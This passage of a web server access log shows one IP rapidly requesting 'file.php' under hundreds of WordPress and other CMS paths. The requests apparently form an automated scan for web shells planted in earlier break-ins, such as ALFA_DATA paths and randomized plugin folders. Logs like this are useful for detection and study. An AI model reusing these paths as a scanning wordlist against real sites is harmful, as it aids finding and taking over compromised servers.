[12/Apr/2025:08:21:23 -0400] "GET /images/partner/partner/images/imgs/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:23 -0400] "GET /mah/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:24 -0400] "GET /wp-content/plugins/core-plugin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:24 -0400] "GET /wp-admin/css/colors/light/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:24 -0400] "GET /wordpress/wp-content/plugins/pkghsb/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:25 -0400] "GET /local/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:25 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:26 -0400] "GET /wp-includes/blocks/list/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:26 -0400] "GET /estudiante16/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:26 -0400] "GET /wp-content/uploads/js_composer/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:26 -0400] "GET /wp-content/uploads/2023/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:27 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:27 -0400] "GET /assets/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:27 -0400] "GET /wp-includes/block-patterns/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:28 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:29 -0400] "GET /wp-content/plugins/df2xx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:29 -0400] "GET /cache/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:29 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:29 -0400] "GET /wp-includes/Text/Diff/Engine/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:30 -0400] "GET /wp-admin/css/colors/midnight/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:30 -0400] "GET /wp-content/themes/h47vbpo2/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:31 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:31 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:31 -0400] "GET /wp-includes/js/tinymce/themes/inlite/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:32 -0400] "GET /wp-content/plugins/awesome-coming-soon/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:32 -0400] "GET /wp-content/mu-plugins-old/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:33 -0400] "GET /wp-includes/rest-api/endpoints/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:33 -0400] "GET /wp-content/languages/themes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:34 -0400] "GET /wp-includes/blocks/more/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:34 -0400] "GET /wp-content/plugins/pwnd-1/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:35 -0400] "GET /wp-content/plugins/placester/views/partials/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:35 -0400] "GET /wp-includes/SimplePie/HdGGN/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:35 -0400] "GET /wp-admin/includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:36 -0400] "GET /wp-content/plugins/erin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:36 -0400] "GET /upload/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:36 -0400] "GET /wp-includes/blocks/comment-template/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:37 -0400] "GET /wp-content/plugins/carousel-slider/assets/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:37 -0400] "GET /wp-content/gallery/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:37 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:38 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:38 -0400] "GET /files/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:38 -0400] "GET /wp-content/ccx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:38 -0400] "GET /wp-includes/php-compat/wp/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:39 -0400] "GET /wp-content/themes/krs2kdwa/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:39 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:39 -0400] "GET /wp-content/plugins/oyaeyim/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:39 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:40 -0400] "GET /wp-content/uploads/2016/03/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:40 -0400] "GET /wp-includes/sodium_compat/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:40 -0400] "GET /wp/wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:40 -0400] "GET /wp-includes/PHPMailer/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:41 -0400] "GET /wp-content/plugins/seoo/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:41 -0400] "GET /wp-includes/js/imgareaselect/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:41 -0400] "GET /wp-content/plugins/seoplugins/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:42 -0400] "GET /wp-includes//wp-includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:42 -0400] "GET /wp-content/plugins/td-cloud-library/includes/dir/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:42 -0400] "GET /libraries/vendor/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:43 -0400] "GET /wp-includes/css/dist/edit-widgets/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:43 -0400] "GET /wp-content/plugins/qufeaoy/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:43 -0400] "GET /wp-content/plugins/vheezid/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:44 -0400] "GET /wp-includes/css/dist/widgets/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:44 -0400] "GET /wp-content/themes/aahana/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:44 -0400] "GET /wp-includes/js/tinymce/utils/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:44 -0400] "GET /wp-content/x/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:45 -0400] "GET /include/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:45 -0400] "GET /assets/fonts/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:45 -0400] "GET /wordpress/wp-content/uploads/wpr-addons/forms/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:46 -0400] "GET /wp-mail.php/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:46 -0400] "GET /wp-includes/js/dist/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:46 -0400] "GET /wp-content/plugins/imfrxbc/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:46 -0400] "GET /about.php?dir=/home/prsvnvn/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:47 -0400] "GET /wp-includes/Requests/Proxy/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:47 -0400] "GET /wp-content/plugins/trfree/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:47 -0400] "GET /wp-includes/blocks/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:47 -0400] "GET /wp-includes/html-api/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:48 -0400] "GET /wp-content/uploads/2024/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:48 -0400] "GET /ALFA_DATA/alfacgiapi/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:48 -0400] "GET /products/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:48 -0400] "GET /wp-content/plugins/wp-theme-editor/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:49 -0400] "GET /wp-includes/images/crystal/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:49 -0400] "GET /wp-includes/Requests/Utility/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:49 -0400] "GET /fonts/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:49 -0400] "GET /sites/default/files/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:50 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:50 -0400] "GET /wp-admin/js/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:50 -0400] "GET /wp-content/updraft/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:50 -0400] "GET /assets/libs/filemanager/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:51 -0400] "GET /assets/components/tinymce/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:51 -0400] "GET /wp-content/themes/phocsqfz/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:51 -0400] "GET /wp-includes/css/dist/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:52 -0400] "GET /wp-includes/js/tinymce/plugins/image/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:52 -0400] "GET /wp-includes/Text/Diff/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:52 -0400] "GET /wp-content/themes/themes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:52 -0400] "GET /new/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:53 -0400] "GET /wp/wp-admin/includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:53 -0400] "GET /admin/uploads/images/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:53 -0400] "GET /wp-content/themes/9geiaoo5/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:54 -0400] "GET /backup/wp-content/themes/twentytwenty/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:54 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:54 -0400] "GET /wp-includes/js/jquery/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:55 -0400] "GET /wp-content/themes/f25zgwig/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:55 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:55 -0400] "GET /wp-content/themes/bltm/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:55 -0400] "GET /wp-content/plugins/ddasyoc/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:56 -0400] "GET /wp-content/plugins/oekqtzj/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:56 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:56 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:57 -0400] "GET /wp-admin/maint/maint/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:57 -0400] "GET /wp-includes/images/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:57 -0400] "GET /Admin/uploads/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:58 -0400] "GET /wp-content/plugins/qdcitph/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:58 -0400] "GET /wp-content/plugins/erinyani/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:58 -0400] "GET /wp-content/uploads/2014/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:58 -0400] "GET /wp-content/plugins/contact-form-7-to-database-extension/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:58 -0400] "GET /wp/wp-content/themes/pridmag/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:59 -0400] "GET /wp-content/plugins/upspy/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:21:59 -0400] "GET /wp-includes/blocks/freeform/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:00 -0400] "GET /includes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:00 -0400] "GET /wp-content/plugins/dazmhjz/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:01 -0400] "GET /wp-content/plugins/qvkwtfvfez/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:01 -0400] "GET /yanz.php/wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:01 -0400] "GET /wp-content/plugins/zlzwssi/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:02 -0400] "GET /plugins/seoo/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:02 -0400] "GET /wordpress/wordpress/wp-content/plugins/sdxxcfgt/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:02 -0400] "GET /sim.php/wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:03 -0400] "GET /upload/info/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:03 -0400] "GET /uploads/files/merchants/NadeemHajouj/20190321194634/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:03 -0400] "GET /update/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:04 -0400] "GET /wp-includes/ID3/51Sge/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:04 -0400] "GET /wp-content/plugins/custom/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:04 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:04 -0400] "GET /wp-content/plugins/nloisib/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:05 -0400] "GET /Public/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:05 -0400] "GET /ccx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:05 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:05 -0400] "GET /images/stories/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:05 -0400] "GET /wp-content/plugins/ioxi/ioxi/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:06 -0400] "GET /wp-content/themes/seotheme/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:06 -0400] "GET /js/tinymce/plugins/compat3x/css/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:06 -0400] "GET /wp-includes/blocks/block/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:06 -0400] "GET /wp-includes/js/tinymce/themes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:06 -0400] "GET /wp-content/plugins/jvtsrel/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:07 -0400] "GET /wp-includes/sitemaps/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:07 -0400] "GET /wp-content/plugins/yfsmxkj/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:07 -0400] "GET /images/icons/rouyg/hppd/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:07 -0400] "GET /plugins/custom/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:08 -0400] "GET /test/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:08 -0400] "GET /wp-admin/js//wp-admin/js/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:08 -0400] "GET /templates/beez3/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:08 -0400] "GET /wp-includes/style-engine/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:08 -0400] "GET /wp-includes/js/tinymce/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:09 -0400] "GET /wp/img/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:09 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:09 -0400] "GET /wp-admin/css/colors/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:10 -0400] "GET /pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:10 -0400] "GET /project/plugins/bootstrap-rtl/css/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:10 -0400] "GET /wp-content/plugins/pwnd/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:11 -0400] "GET /wp-includes/style-engine/about.php/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:11 -0400] "GET /wp-content/plugins/Cache/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:11 -0400] "GET /wp-admin/css/colors/sunrise/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:11 -0400] "GET /wp-includes/fonts/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:12 -0400] "GET /wp-content/plugins/seox/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:12 -0400] "GET /storage/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:12 -0400] "GET /assets/vendor/bootstrap/css/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:12 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:13 -0400] "GET /.well-known/.well-known/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:13 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:13 -0400] "GET /wp-content/plugins/zgtzwun/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:13 -0400] "GET /wp-content/uploads/revslider/templates/creativefrontpage/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:14 -0400] "GET /wp-content/plugins/ygdfcil/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:14 -0400] "GET /php/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:15 -0400] "GET /wp/wp-content/themes/f6pe9wcj/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:15 -0400] "GET /wp-includes/js/tinymce/langs/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:16 -0400] "GET /wp-content/themes/fag0z08y/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:16 -0400] "GET /wp-includes/php-compat/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:16 -0400] "GET /wp-content/plugins/lsxvhpg/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:16 -0400] "GET /wp-content/plugins/pxkxbea/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:17 -0400] "GET /wp-includes/block-supports/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:17 -0400] "GET /wp-includes/l10n/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:17 -0400] "GET /wp-content/plugins/erfdsxx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:17 -0400] "GET /wp-content/upgrade-temp-backup/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:18 -0400] "GET /wp-includes/SimplePie/Content/Type/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:18 -0400] "GET /wp-content/plugins/ninja-forms/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:18 -0400] "GET /wp-admin/css/colors/ectoplasm/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:18 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:18 -0400] "GET /wp-includes/SimplePie/Content/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:19 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:19 -0400] "GET /wp-content/about.php/wp-content/plugins/wp-content/uploads/wp_live_chat/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:19 -0400] "GET /wp-content/plugins/WordPressCore/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:20 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:20 -0400] "GET /wp-content/plugins/6i85g10k/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:20 -0400] "GET /wp-content/plugins/linkpreview/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:20 -0400] "GET /components/com_jea/views/form/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:20 -0400] "GET /wp-content/plugins/fancybox-for-wordpress/fancybox/termark/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:21 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:21 -0400] "GET /wp-admin/css/colors/ocean/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:21 -0400] "GET /wp-content/plugins/upboxtn/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:21 -0400] "GET /wp-content/plugins/kfhfxvy/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:22 -0400] "GET /wp-includes/js/crop/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:22 -0400] "GET /wp-content/plugins/ljqhmhj/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:22 -0400] "GET /wp-content/plugins/yozaepx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:22 -0400] "GET /cgi-sys/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:23 -0400] "GET /sleepster/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:23 -0400] "GET /templates/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:23 -0400] "GET /wp-admin/uploads/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:23 -0400] "GET /wp-content/plugins/wp-help/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:24 -0400] "GET /uploads/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:24 -0400] "GET /wp-content/plugins/npqzdpk/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:24 -0400] "GET /wp-includes/blocks/latest-comments/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:25 -0400] "GET /wp-content/plugins/google-seo-rank/file.php HTTP/1.1" 301 